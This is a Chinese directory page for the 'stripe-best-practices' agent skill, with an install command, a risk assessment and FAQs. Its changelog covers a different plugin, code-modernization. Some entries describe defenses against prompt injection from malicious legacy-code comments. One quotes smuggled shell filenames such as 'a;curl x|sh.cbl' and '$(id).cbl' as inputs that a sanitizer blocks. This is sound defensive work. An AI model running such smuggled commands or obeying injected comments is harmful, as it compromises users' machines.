stripe-best-practices – Stripe 支付集成最佳实践 Skill

3周前更新 7 0 0 0

stripe-best-practices 是指导 AI Agent 按官方推荐方式编写 Stripe 支付集成代码的 Skill，覆盖 PaymentIntent、Checkout、订阅、Webhook 与错误处理等场景，适合用 Stripe 做支付和账单功能的开发者。

查看调研报告 在来源平台打开

Skill 安装

多 Agent 安装 
npx skills add https://github.com/anthropics/claude-plugins-official --skill stripe-best-practices

使用 npx skills 快速安装，支持将 Skill 添加到多个兼容的 AI Agent。

Skill 调研报告

Skill 详细介绍

anthropics/claude-plugins-official#stripe-best-practices 是 Anthropic 官方 Claude 插件仓库 claude-plugins-official 中收录的一个 Stripe 集成 Skill，Skill 名称为 stripe-best-practices。

它不是一个能独立运行的软件，也不是 Stripe SDK。本质上，它是一组面向 AI Agent 的指令与最佳实践知识。装上之后，Agent 在处理 Stripe 相关任务时，会优先参考这些实践指引来生成代码、配置和集成方案，而不是凭训练数据里的旧记忆猜测 API 用法。

核心用途

  • 让 Agent 生成 Stripe 支付代码时，遵循官方推荐的实现方式。
  • 覆盖常见的 Stripe 集成场景：PaymentIntent、Checkout、订阅、Webhook 处理、错误处理等。
  • 减少 Agent 使用过时 API、错误参数或非推荐流程的情况。

它是什么、不是什么

  • 是：Claude 官方插件仓库中的一个 Skill，用来指导 Agent 完成 Stripe 开发任务。
  • 不是：Stripe 官方产品，也不是 Stripe 官方发布的 SDK 或工具。
  • 不是：一个可以独立调用的命令行工具。
  • 不是：一个自动替你完成支付接入的自动化程序。

主要解决的问题

Stripe 的 API 迭代比较快，旧写法在新版本里可能不再被推荐，甚至被弃用。当开发者直接让 AI Agent 写 Stripe 代码时，Agent 容易混用不同版本的写法、使用已弃用的参数，或者忽略关键安全环节（例如 Webhook 签名校验）。这个 Skill 的作用，就是把这些最佳实践提前注入 Agent 的上下文，让生成结果更接近当前官方推荐做法。

典型任务

  • 让 Agent 生成一段 Stripe 支付流程代码。
  • 让 Agent 解释某种 Stripe 集成方式是否推荐。
  • 让 Agent 审查已有 Stripe 代码，指出不符合最佳实践的地方。
  • 让 Agent 协助配置订阅、Webhook、退款等常见支付逻辑。

适合哪些用户

  • 正在使用 Stripe 做支付、订阅或账单功能的开发者。
  • 希望让 AI Agent 生成更可靠 Stripe 代码的团队。
  • 已经在用 Claude Code 或类似 Agent，并希望扩展 Stripe 领域能力的用户。

不适合哪些需求

  • 不使用 Stripe、使用其他支付服务（如支付宝、微信支付）的用户。
  • 希望 Skill 本身直接完成支付、扣款或账户操作的场景。
  • 希望它替代 Stripe 官方文档和官方 SDK 的场景。

与普通 Agent 自身能力的区别

普通 Agent 也能写 Stripe 代码，但准确度取决于其训练数据中 Stripe 相关内容的新旧程度。装上这个 Skill 之后，Agent 在 Stripe 相关任务上会优先参考该 Skill 提供的实践指引，输出更贴近官方推荐的做法。Skill 本身不改变 Agent 的底层模型，只是补充领域知识和约束。

Skill 安全评估

总体判断：这是一个来自 Anthropic 官方插件仓库的知识型 Skill，以指令和最佳实践内容为主，不包含独立的可执行程序，也不直接接触用户资金或 Stripe 账户。风险主要不在 Skill 本体，而在于你让 Agent 基于它生成的代码如何使用。

来源可信度

  • 该 Skill 位于 Anthropic 官方插件仓库 claude-plugins-official，属于官方收录内容，来源可信度较高。
  • 它并非 Stripe 官方发布，涉及 Stripe API 细节时应以 Stripe 官方文档为最终依据。

权限与行为

  • Skill 本身是指导性内容，通常不需要额外的 Shell、文件写入或网络权限即可被 Agent 读取。
  • 真正涉及敏感操作的是「Agent 根据 Skill 生成的代码」：创建真实支付、调用 Stripe API、处理 Webhook。这些行为的风险与 Skill 本身无关，取决于你的使用方式。

需要重点关注的风险点

  • 密钥与凭证：Stripe 集成会涉及 API Key（Secret Key、Publishable Key）以及 Webhook Signing Secret。不要让 Agent 把这些值硬编码进代码，也不要提交到仓库。
  • 密钥泄露：Secret Key 一旦泄露，可能被用于发起扣款、退款或读取账户数据。建议通过环境变量或密钥管理服务提供。
  • Webhook 校验：Webhook 端点若缺少签名校验，可能被伪造请求触发。确认生成代码中包含签名验证逻辑。
  • 真实金额操作：如果允许 Agent 自动执行调用 Stripe 的代码，应先在测试模式（Test Mode）下验证，再切换到生产。
  • Prompt Injection：如果 Agent 在处理外部内容（用户输入、网页）时同时操作 Stripe，需警惕外部内容诱导 Agent 生成危险操作。

降低风险的建议

  • 只让 Skill 帮助生成和审查代码，关闭 Agent 自动执行 Shell 的权限，由你手动运行安装、测试和部署命令。
  • Stripe 操作一律先在 Test Mode 下走通，再上生产。
  • API Key 通过环境变量注入，不写入源码，不提交到 Git。
  • 对 Agent 生成的支付相关代码进行人工复核，重点看金额、币种、幂等和错误处理。

可以合理认为该 Skill 自身风险很低，但它产出的代码需要按支付代码的标准对待。

Skill 使用要求

一、Agent / 客户端

该 Skill 来自 Anthropic 官方插件仓库，与 Claude Code 高度适配，可以优先在 Claude Code 中使用。

官方没有提供完整的第三方 Agent 兼容列表。不过从 Agent Skill 的通用工作方式来看，在支持 Skills、自定义 Skill 或类似指令加载机制的环境中，通常也可以尝试在 Codex、Cursor、Trae、OpenClaw、WorkBuddy 等主流 AI Agent 中使用。不同 Agent 的 Skill 加载方式与兼容程度可能不同，具体以对应 Agent 当前版本为准。

二、运行环境 / 依赖

项目 要求
Agent Claude Code 优先，其他兼容 Agent 可尝试
Node.js / Python / Docker Skill 本身通常不要求；具体取决于你让 Agent 生成的 Stripe 代码所用技术栈
网络 加载 Skill 时需要；生成的代码调用 Stripe API 时也需要

需要注意：你的 Agent 客户端本身可能有自己的环境要求（例如 Claude Code 对 Node.js 的要求），那属于 Agent 的要求，不是这个 Skill 单独提出的要求。

三、权限

  • 文件读取：通常需要，用于读取 Skill 内容与项目代码。
  • 文件写入：可选，仅当你要求 Agent 直接修改项目文件时需要。
  • Shell：可选，仅当你允许 Agent 直接执行命令时需要；可以关闭，由你手动执行。
  • 网络：可选，当生成的代码需要实际调用 Stripe API 或你允许 Agent 联网查资料时需要。

四、账号 / API Key

需要分清两件事：

  • 这个 Skill 本身：不需要 Stripe 账号，也不需要 API Key。它只是指导内容。
  • 你基于该 Skill 让 Agent 生成 / 运行的 Stripe 项目：通常需要 Stripe 账号和对应的 API Key，以及 Webhook 的 Signing Secret。这是 Stripe 服务的要求，不是 Skill 的要求。

最小使用条件

  • 一个支持 Skill 加载的 AI Agent，优先 Claude Code。
  • 有 Stripe 相关任务（生成、审查、咨询）。
  • 如需真实运行生成的代码，准备 Stripe 账号与对应环境的 API Key。

Skill 安装、使用与卸载教程

一、安装

你可以直接复制本页面提供的 Skill 安装指令，粘贴到对应 Agent 或终端中执行。

如果你不确定自己的 Agent 该如何安装这个 Skill，可以直接向当前 Agent 提问，让它根据自己的 Skill 加载机制给出步骤：

如何安装 anthropics/claude-plugins-official#stripe-best-practices？

也可以指定 Agent：

如何在 Claude Code 中安装 anthropics/claude-plugins-official#stripe-best-practices？

如何在 Codex 中安装 anthropics/claude-plugins-official#stripe-best-practices？

如何在 Cursor 中安装 anthropics/claude-plugins-official#stripe-best-practices？

由于该 Skill 属于 Anthropic 官方插件仓库，在 Claude Code 中通常可以通过其插件 / Skill 管理机制直接添加。具体命令以当前 Claude Code 版本所提供的方式为准。

二、安装后如何使用

安装后，通常不需要输入特殊命令。当你的任务与 Stripe 相关时，Agent 会自动参考该 Skill 的内容。你的重点是把需求描述清楚。

使用 stripe-best-practices，帮我用 Node.js 写一个创建 PaymentIntent 的接口，并说明关键参数。

使用 stripe-best-practices，审查我下面这段 Stripe Webhook 处理代码，指出不符合最佳实践的地方。

使用 stripe-best-practices，帮我设计一个带订阅套餐切换的 Stripe 集成方案，列出需要的对象和调用顺序。

上面是自然语言使用示例，不是官方 CLI 命令或 Slash Command。不同 Agent 触发 Skill 的方式可能不同，以对应 Agent 的实际行为为准。

三、卸载

  • 使用对应 Agent / Skill 管理器提供的删除功能，移除该 Skill。
  • 直接询问当前 Agent：「如何卸载 anthropics/claude-plugins-official#stripe-best-practices？」

不同 Agent 的 Skill 安装位置与管理方式可能不同。如果没有统一卸载命令，直接询问当前 Agent 如何移除该 Skill 通常更稳妥。

常见问题

1. 装了这个 Skill，Agent 会不会自动替我去 Stripe 扣款或改账户？

不会。该 Skill 是指导内容，本身不执行任何 Stripe 操作。只有当你让 Agent 运行调用了 Stripe API 的代码时，才可能产生真实操作，此时应在 Test Mode 下先验证。

2. 它和 Stripe 官方 SDK、官方文档是什么关系？

这个 Skill 由 Anthropic 官方仓库收录，不是 Stripe 官方发布。它能提升 Agent 生成 Stripe 代码的贴合度，但不能替代 Stripe 官方文档和官方 SDK。涉及具体 API 细节时，以 Stripe 官方文档为准。

3. 可以在多个 Agent 里同时安装这个 Skill 吗？

通常可以。Skill 一般是按 Agent 的配置目录分别加载的，不同 Agent 之间互不影响。是否支持同时安装取决于各 Agent 自身的机制。

4. 安装后 Agent 没有按预期使用这个 Skill，怎么办？

先确认 Skill 是否真正被 Agent 识别和加载（可以用 Agent 自带的 Skill 列表功能查看）。若已加载但行为不明显，可以在提示中显式点名，例如「使用 stripe-best-practices 来……」，引导 Agent 引用该 Skill。

5. Skill 更新后需要重新安装吗？

取决于 Agent 的 Skill 管理方式。多数情况下，通过来源仓库更新的 Skill 需要按原安装方式重新拉取或更新。可以询问当前 Agent：「如何更新 anthropics/claude-plugins-official#stripe-best-practices？」

6. 中国大陆使用这个 Skill 有网络要求吗？

Skill 本身是内容加载，主要依赖你所用 Agent 的网络环境。如果你让 Agent 生成的代码要实际调用 Stripe API，才需要能访问 Stripe 的服务。是否可达取决于你的网络与部署环境。

7. 我不用 Stripe，用其他支付服务，还值得装吗？

不太必要。这个 Skill 聚焦 Stripe。如果你使用的是支付宝、微信支付等其他支付渠道，它不会带来直接帮助。

Skill 更新日志

版本列表
无版本号
合并拉取请求 #6309，来自 anthropics/morganl/code-modernization-consolidated code-modernization：带独立证明的引导式工作流
无版本号
Claude Security Plugin - v0.12.0 (#6310) 1 个提交的压缩合并
无版本号
code-modernization：统计失败次数和机器的 python，每个版本一次 使用计数现在会说明插件运行在什么之上（系统、python 状态和版本、路径问题），以及发生的是哪种失败：python 缺失或为占位符、权限被阻止、模型错误，或插件自身脚本中的错误。失败会在机器上被归类到一个固定列表中，只发送代码，每种类型每个会话一次。会话启动 ping，每个插件版本一次，统计那些没人走到输入命令这一步的机器。当 python 无法运行时，shell 包装器会自行报告，在 Windows 上它会回退到 python 或 py 启动器。
无版本号
code-modernization：版本 1.0.0、使用计数和 README 结果表 该插件现在有了版本和变更日志。两个钩子通过 CLI 自身的遥测记录整数使用计数（运行了哪个命令、系统进行到哪一步、有多少规则和证明）：从 100 起的计数会四舍五入，插件未使用时不会发送任何内容，三个开关中的任意一个都可以将其关闭。README 记录了每个键，并列出了插件在什么上试用过，并与运行文件核对。
无版本号
code-modernization：将窗格的规则审查命令重命名为 /modernize-review-pane 窗格中裸写的 /modernize-review 占用了插件自身审查命令的名称，因此在启用窗格的会话中输入短形式会打开窗格的卡片，而不是弹出式审查。窗格的版本现在是 /modernize-review-pane，/modernize-review 始终运行插件命令。两者仍然写入同一个审查文件。
无版本号
code-modernization：只有当有运行过的测试支持时，规则才算被测试 仅由跳过或待定测试命名的规则不再算作已覆盖。它会被列为“已命名，未运行”并使规则检查失败。仅测试文件夹会被列为工具并得到无判定。verify 命令仅在用户要求精确行为时才尝试畸形记录，因此证明循环会有终点。报告以线性时间解析规则标题和字段，报告和窗格会显示新状态。
无版本号
code-modernization：每个输入批准一次差异 对重写后的批处理作业进行独立检查时，发现某个家族的两个新输入存在差异（一个空白数字字段，重写有意拒绝，而旧程序将其读作零）。每个输入有多个输出文件，因此接受该偏差意味着每个输入需要三到四条手写条目。 cases 文件中的顶层 "approvedInputs": {"F23": "reason"} 现在会批准共享该输入标签的每个用例。仍然需要原因（空白不批准任何内容），用例自身的原因优先，缺失文件绝不会变成通过，结果仍会将差异列为已批准。
无版本号
code-modernization：使规则合并可审计且防注入 合并阶段审查后的后续事项： - 该 agent 是一种受限类型，与其同类具有相同的只读措辞，其编号列表上的每个字段都是单条有界行，因此包含换行的规则名称无法伪造另一个条目。 - 任何数字超出范围或不是整数的组会被整体拒绝，而不是被强制转换为不同的合并。 - 合并会保留最保守的审查状态：最高优先级、最低置信度，以及被折叠规则的每个疑似缺陷和 SME 问题。 - 每条被折叠的规则都会连同它并入的规则一起返回，规则文档会在“Rules folded into another”下列出它们，因此不会有任何内容无迹可寻地消失。额外引用显示为“Also cited”，不带连接词。
无版本号
code-modernization：同技术升级不能靠手工输入的基线或编辑过的测试来证明 同技术升级可能过于轻易地得出 PROVEN 的三种方式： - 基线来自某人手工输入的表格。现在只有当脚本能从 analysis//baseline/ 或 BASELINE.md 的 "Recorded:" 行读取每个测试的结果（JUnit 或 TRX XML、带摘要行的运行器日志，或每个测试的 JSON）时，它才算作已测量；仅含计数的文件会被忽略，两个已测量来源不一致即为缺口，手工输入的表格必须与测量结果匹配。 - 升级期间被编辑的测试未被注意到。该包现在会比较旧版和工作副本的测试文件（仅通过遍历文件），并列出新增、删除或更改的内容；删除文件、超过四分之一的文件被更改，或没有可比较的旧版测试，都是缺口，并且它会明确说明无法检测被削弱的断言。 - 没有测试覆盖其位置的静默行为变化。目录中每个 Behavioral-silent 增量都必须有一个测试文件命名其位置文件，否则该模块最多为 PARTLY PROVEN。 报告的 Proof 部分会显示这三项新检查，缺少其中任何一项的升级包都会读作 PARTLY PROVEN。214 个脚本测试通过。
无版本号
code-modernization：将多个文件中发现的同一规则折叠为一条 一个用 C、一个 C++ 头文件和一个定点变体实现的数值库产生了三条“twiddle factor”规则、两条“generic butterfly”规则和两条“factorization”规则，因为裁判的重复键是文件加上规则名称。计划和审查因此带有噪声。 验证后，每 150 条规则一个小 agent 会列出描述同一行为在多个位置实现的组，并被告知只合并那些会作为一个整体实现和测试的内容。保留的规则会引用每个位置（渲染器将它们显示为“Also cited”），并采用其组中的最高优先级；重叠、超出范围或自合并的组会被忽略，规则列表会被围栏标记为不可信数据。计数报告为 stats.consolidated。
无版本号
code-modernization：更安全、更通用的版本升级 由一位拥有大型 Java 8 系统的工程师阅读这些命令时发现： - 基线套件曾“在 legacy/ 上”运行，这会把构建输出写入源代码。现在它会在临时副本上运行，其结果文件或日志保存在 analysis//baseline/ 下并在 BASELINE.md 中命名，仅手工输入的表格不再算作已测量基线。 - 工作副本不再携带源仓库的历史，会将看起来像凭据或生产设置的文件排除在其首次提交之外并列出供人工查看，并将该历史移动到其自己的新本地仓库。 - 迁移工具（OpenRewrite 等）在临时副本上运行，绝不在源代码中运行，因为试运行仍会构建和下载。 - 跨越多个版本或同时进行两件事（JDK 和框架）的移动会被拆分为每次都能构建和测试通过的跳跃。 - 在用户说明它是本地或一次性实例之前，不会针对配置指定的数据库或服务运行测试。 - 静默行为搜寻现在会列出 Java、Python、Node 和 PHP 以及 .NET 的常见陷阱（区域设置数据、默认字符集、ORM 映射、属性绑定、str/bytes）。 - 简报不再要求同技术升级提供业务规则：记录的基线就是其行为契约，因此 extract-rules 可以等待。
无版本号
code-modernization：README 的截图，以及人在哪里做决定 添加 README 和窗格文档使用的图片：三张报告图（证明通过时的概览视图、独立检查发现开发用例遗漏的差异时的同一视图，以及证明标签页）和十张实时窗格图，由窗格自身代码根据已完成的运行绘制。报告图片来自真实运行；窗格的 fleet 和 x-ray 视图及其 GIF 使用脚本化的 agent 活动，审查和签核图片使用示例文本，所有这些都在窗格的 README 中说明。 前门会列出人做决定的每个位置，并在用户要求时将安全扫描移到最前，status 会将新用户指向前门，而不是直接指向 preflight。
无版本号
code-modernization：窗格措辞、关注项和与代码匹配的文档 窗格的按钮显示“put in prompt”（它从不运行命令），刷新按钮已移除（窗格已在写入后、回合结束时以及空闲时每 20 秒刷新），摘要行适合 120 列宽，下一步原因足够简短可读。正在讨论的 P0 规则会列在 Attention 下（“the build waits”），未证明的模块会在那里显示其第一个原因。在升级中，已完成的模块会列在仅被编辑过的模块之前。 hooks/README.md 现在按代码中的方式命名每个按钮和标签，记录了插件的 /code-modernization:modernize-review 命令（它为没有窗格的人写入同一账本）以及它与窗格自身 /modernize-review 的区别，并说明哪些图片使用示例文本。141 个引擎测试通过，类型检查干净。
无版本号
code-modernization：报告上的下一步，以及保持词语完整的表格 报告是人们最先打开的页面，但它从未说明下一步该做什么。它现在会显示一个带复制按钮的命令和一行原因，根据存在哪些产物决定（从 preflight 到 brief，当规则看起来错误时在计划前进行规则审查，构建后 verify，harden，然后 status）。 短词和判定药丸不再在狭窄表格单元格内断开（“sam”和“e”、“Calculatio”和“n”）：只有路径和哈希可以在任意位置断开。
无版本号
code-modernization：人们对规则的判定进入构建，以及更安全的基线 审查者的“这条规则是错的”从未到达计划或重写：窗格写入了没有命令读取的审查账本，而没有窗格时也无法写入。 /code-modernization:modernize-review 会在弹出窗口中询问需要判断的规则（有缺陷、有 SME 问题或置信度低于 High 的 P0 规则），或接受在请求中输入的判定，并写入相同的 RULE_REVIEWS.json/.md，可带可选备注。brief、transform、reimagine 和测试工程师会读取它：标记为错误的规则不是 oracle，正在讨论的 P0 规则会阻塞。 运行旧系统以记录基线现在仅限于本地机器或用户指定的测试环境；生产或第三方服务、新账户和真实数据均被禁止，除非已批准的计划指定它们，记录响应中的令牌会在保存任何内容之前被替换，每个命令都会停止它启动的服务器。 另外：前门会在四个选项限制内通过两个弹出窗口询问，每个命令都会将缺少代码的用户指向 /modernize --source ，状态清单和下一步顺序包括 review 和 verify，评估会说明 Rehost 和 Replace 的含义，preflight 会注明 Windows 的 python 名称，插件和 marketplace 描述与其功能匹配。
无版本号
code-modernization：带每个模块一个判定的独立证明步骤 /code-modernization:modernize-verify 会重新检查已完成的构建，而不是信任它留下的笔记，并由脚本（不是模型）计算每个模块的一个判定：PROVEN、PARTLY PROVEN 或 NOT PROVEN，并将规则写入输出。 该包会重新读取测试自身的结果文件或保存的运行器日志（命令仅报告的计数从不计数），将每条 P0 业务规则追溯到命名它的测试，用 compare.py 再次判断旧输出和新输出，然后在两个系统上运行至少十个开发未使用的输入。它要求有一个使测试变红的已记录 canary，检查旧版源代码未被触碰（通过文件时间：被分析树中没有进程运行），并将每个人工标准列为等待人工处理。对于升级，它会将新结果与记录的基线进行 diff。判定绝不会从早先运行中沿用。 报告新增 Proof 部分，会从相同检查重新计算每个判定，失败的图表不再阻止其后的图表绘制。
无版本号
code-modernization：让规则提取与代码成比例 在一个约千行的 C 工具上，整个资产范围的提取运行了四轮，生成了 223 个 agent 并返回 141 条规则（其中 31 条为 P0），因为模型总能在一个小程序中找到又一个微行为，而循环只有在某一轮完全找不到任何内容时才停止。 每个提取器现在都会收到关于规则切分细度的相同指令：每个业务决策或计算一条，而不是每个分支或字段一条，跳过管道代码，大约每 40 到 80 行真实逻辑一条，并且只对少数会破坏系统目的的规则评为 P0。整个资产范围的循环默认两轮，并在某一轮新增内容低于已编目内容的 15% 时停止。
无版本号
code-modernization：让实时窗格在低于 144 列时工作并显示证明 通过针对已完成运行的真实输出演练窗格发现： - 低于 144 列时，引擎会阻止未请求的窗格；窗格忽略了这一点，因此它不绘制窗格、不显示 show bar，并且面板命令“隐藏”了一个从未存在的窗格。 - 符号链接的 legacy/ 会列为另一种条目，因此 preflight 现在创建的源链接从未被识别为系统。 - Uplift 和 reimagine 的下一步是没有按钮的占位符。 - 当 agent 运行时，刷新防抖被饿死，因此地图冻结。 - brief、规则和基线中的恶意行可能需要数秒来匹配；现在行数被限制。规则审查账本在读取时验证并在保存时合并，并保留审查者备注。 - 没有行的基线读作“the baseline had 0”；单模块基线总数现在计为该模块的行。 新增：每个已构建模块上带文字的判定芯片、verify-first 下一步，以及跟随终端主题的可读调色板。140 个引擎测试通过，类型检查干净。
无版本号
code-modernization：加固数值容差并说明 Rehost 和 Replace 的含义 容差检查审查后的后续事项：高于 1e-6 的绝对容差会像高于 1% 的相对容差一样被拒绝，数字按精确十进制而不是 double 比较，像 1.2.3 或 10.0.0.1 这样的点分运行是必须精确匹配的文本，自检现在会更改每个采样数字的首位数字，以证明容差无法隐藏真实变化。 业务规则标题会说明提取时有多少条规则，因为后续步骤会添加规则。评估会说明当它建议 Rehost 或 Replace 时该做什么，这些不更改代码，因此没有构建命令。
无版本号
code-modernization：在声明的容差内比较浮点输出 等价性检查仅比较字节，这对数值代码（Fortran、C、科学和金融结果）无法通过，因为其最后几位在不同编译器和数学库之间会不同，因此这些情况会促使人把数字掩盖掉。用例现在可以声明容差，相对或绝对，并需要原因。只有带小数点或指数的数字可以在容差内不同；整数和所有其他字节必须匹配，高于 1% 的相对容差会被拒绝，容差和最大差异会记录在结果中。当容差宽松到足以隐藏数字首位变化时，自检也会失败。
无版本号
code-modernization：渲染业务规则时每条规则保留一个引用 提取器被告知每条规则引用单个文件范围，但在一个大型 Perl 代码库上，它不断在 source 字段中返回两三个文件以及一句解释，报告和窗格无法将其解析为一行。渲染器现在将第一个 path:line-range 作为规则的引用，并将后面的任何内容放在“Also cited”行。
无版本号
code-modernization：按名称调用工作流并修复 uplift 版本参数 只要插件位于工作目录之外，Workflow 工具就会拒绝插件脚本路径，而这是已安装插件的正常情况：模型在每次运行中都会失败一两次，然后才回退到注册名称。命令现在按注册名称调用每个工作流，仅将脚本路径作为回退提及。 modernize-uplift 还引用了 legacy/$system_version，这不是一个参数；它现在到处使用 $source_version，并且当未给出版本对、重写目标和愿景时，会回退到 analysis//INTENT.md。README 指出脚本化（claude -p）运行需要 CLAUDE_CODE_PRINT_BG_WAIT_CEILING_MS=0，以便长时间扇出步骤能够完成。
无版本号
code-modernization：对每个系统用一种方式衡量组合复杂度 组合扫描让每个调查 agent 选择自己的复杂度工具，因此一个系统的数字是每文件总数，另一个是每函数平均值，而热图仍然比较它们。每个 agent 现在采用相同度量（每文件决策点总数，以及最复杂的单个文件），工作流按千行代码计算复杂度，表格显示这些列。文档覆盖率不再将许可证头计为文档。
无版本号
code-modernization：只询问一次你想要什么的前门 /code-modernization:modernize 不接受参数。它会找到代码，询问用户想用它做什么（同一技术的新版本、用另一种技术重写、重建，或只是理解它）以及什么必须保持为真，将答案写入 analysis//INTENT.md，用几行显示前路，并给出确切的第一条命令。再次访问时，它的行为类似 status。 brief 从 INTENT.md 获取其目标、目标和每个阶段的构建命令，uplift、transform 和 reimagine 会为其版本、目标和愿景回退到它，因此不会有人被问两次同样的事。README 的开始部分现在以前门开头。
无版本号
code-modernization：按系统用途评定规则，并让实时运行完成 在真实仓库上运行命令时发现的两个问题： - P0 定义是金钱和监管形状的，因此一个音乐库工具没有得到 P0 规则，其行为契约为空。P0 现在意味着系统的核心目的依赖该规则，或者错误结果代价高昂或不可逆（金钱、法律、数据完整性、安全或安保，或系统存在所执行的核心计算或决策）。 - 引用返回为范围列表，而规则渲染器按与文档不同的顺序编号 RULE-NNN。每条规则现在引用一个范围，编号按顺序读取。 启动子 agent 的命令现在会说在前台运行并等待，因为无头会话在模型停止说话时结束，即使它说自己在等待后台 agent。
无版本号
code-modernization：更简单的命令、source 选项、报告页面和等价性检查 命令硬编码了 legacy/，因此太大无法复制的代码，或位于绝对路径的代码，需要手工创建符号链接。Preflight 现在接受 --source 并为你创建 legacy/ 链接（Windows 上为 junction）；不会复制任何内容，每个命令在开始前都会说明链接指向哪里。harden 补丁使用 patch -p1 -d 应用。 每个命令结束时都会命名下一个要运行的命令，并且命令缩短了约三分之一，没有删除任何步骤： - map 接受现有依赖图（--graph）或技术栈自己的工具，以可恢复的块映射非常大的资产，将反射目标记录为未解析而不是死代码，在描述超过 40 个节点前询问，并且绝不给两个节点相同的位置。 - transform 可以从 brief 获取其模块和目标，统计已执行的等价性用例（零是失败，比较绝不跳过），通过故意的一行破坏显示测试可以失败，并在两个系统都能运行时将“相同或不同”交给脚本。 - brief 以固定形状编写每个阶段：一条命令、与 map 中一致的模块 id，以及写成构建命令可以勾选但不能改写的条件的标准。 - reimagine 复用发现产物，而不是再次提取它们。 - status 命名下一条要粘贴的确切命令。 scripts/build_report.py 将命令写入的任何内容转换为一个自包含、离线的 REPORT.html（Mermaid 已内置，分析中的所有文本都已转义，隔离的 secrets 文件从不读取），scripts/compare.py 逐字节判断两个输出是否匹配，记录原因，并检查它能够失败。分片构建器忽略符号链接和离开源的路径，将普通名称与其下方内容匹配，并在 map 的模块共享位置时回退到目录树。 README 从 275 行降到约 100 行；窗格的参考移到 hooks/README.md。
无版本号
code-modernization：extract-rules 使用随插件提供的分片构建器和规则渲染器 该命令过去内联携带一个 35 行的分片构建脚本，并要求模型在每次运行时编写规则渲染器，因此分片列表和 BUSINESS_RULES.md 布局每次运行都不同，且无法测试。 scripts/make_shards.py 在 map 已运行时从 topology.json 构建分片列表，未运行时从目录树构建（跳过 vendored、generated 和 test-fixture 目录，每个目录一个分片，在 25 个文件或约 5,000 行处拆分）。scripts/render_rules.py 将工作流结果转换为 BUSINESS_RULES.md 和 DATA_OBJECTS.md，带有 RULE-NNN 标题、SME 部分和覆盖缺口，并将分析中的每个值写为纯文本。 工作流接受可选的 sourceDir，因此代码可以位于工作区之外，分片文件保持相对于它。该命令从 305 行降到约 150 行。
无版本号
code-modernization：将窗格的笔记标记为数据并清理其中的名称 窗格会向模型读取的内容添加两类文本：关于它刚读取文件的笔记（来自分析文件的名称、规则标题和 delta id）以及一行状态。这些名称由分析 agent 从旧版代码写入，因此恶意注释可能通过它们到达模型。 每个这样的值现在都会被裁剪为一条简短纯文本行：控制、不可见和双向字符、反引号、尖括号和方括号以及双引号都会被替换，长值会被修剪。笔记开头会说明其内容是数据，绝不是指令，并以任何值都无法伪造的结束行收尾。状态行说明它是状态行而不是指令，下一步命令仅在模块 id 是一个普通 token 时命名模块。窗格只列出插件工作流接受其名称的系统目录。
无版本号
code-modernization：添加可选的实时进度窗格 添加一个 hooks 模块，除非 CLI 的早期访问功能钩子启用，否则关闭，它会在命令运行时在转录旁绘制一个窗格：系统、哪些步骤已完成、其代码地图、每个工作单元及其所处位置、需要关注的内容，以及下一条命令。 它只读取命令写入的产物和旧版树，因此适用于任何语言，以及重写、同栈升级或绿地重建。地图在有 topology.json 时来自它，没有时来自源代码树。在升级中，每个模块都会与基线对照；测试从 JUnit XML、.trx 报告或会话看到的运行中读取；一个按钮显示和隐藏窗格，/modernize-panel 可从键盘执行相同操作。 同一模块在旧版读取时添加 x-ray 上下文、业务规则审查卡组（/modernize-review）、签核对话框（/modernize-sign）以及可发现一个失败在多个 agent 中重复出现的 fleet 视图。它只观察：绝不阻塞、重写或恢复编辑，也不在其读取的树中运行任何程序。升级中更改的模块通过文件 API 按文件名和大小比较工作副本与树来发现。其选项是插件的 userConfig。没有该标志时不会加载任何内容，命令、agent 和工作流的行为与之前相同。 tests/ 中的 91 个测试使用 "claude plugin test" 运行；plugin validate 在发布构建上无论标志开启还是关闭都通过。
无版本号
code-modernization：在模块和文件名进入提示之前检查它们 extract-rules 会将来自仓库自身文件名的模块名称和文件路径放入 agent 提示。它们已经过遍历、控制字符、反引号和尖括号检查，但诸如 "a;curl x|sh.cbl" 或 "$(id).cbl" 这样的名称会通过，如果 agent 将其不加引号粘贴到命令中就可能被执行。 模块名称和域是标签：它们从不被打开，因此现在会被清理而不是丢弃（shell 分隔符、引号、glob 和花括号字符、开头的连字符或空格，以及开启展开的美元符号都会变成 "_"），并且提示会说明名称只是标签。文件路径必须往返一致，因此当它包含命令分隔符、引号、glob、花括号或方括号字符、开启展开的美元符号（$(、${、$HOME、$IFS、$@）、开头或结尾空白、词首或 = 或 : 之后的 ~，或以 - 开头的词时，会被检查并丢弃，丢弃会被计数并记录（shell 会将 "a -rf.cbl" 拆分为路径和标志）。反斜杠会先转换为 /，因此检查和 shell 看到同一种拼写，Windows 风格路径也能继续工作。 数字前或末尾的美元符号仍然允许，#、@、~ 在词内以及空格之间的单个连字符也允许：大型机成员名称会使用它们（"PAY$001"），而位置参数会展开为空或 shell 自身名称，绝不会展开为文件作者控制的任何内容。 提取器提示还说明要用 Read 工具打开路径，并将任何进入 shell 命令的路径用单引号包裹。

暂无评论

none
暂无评论...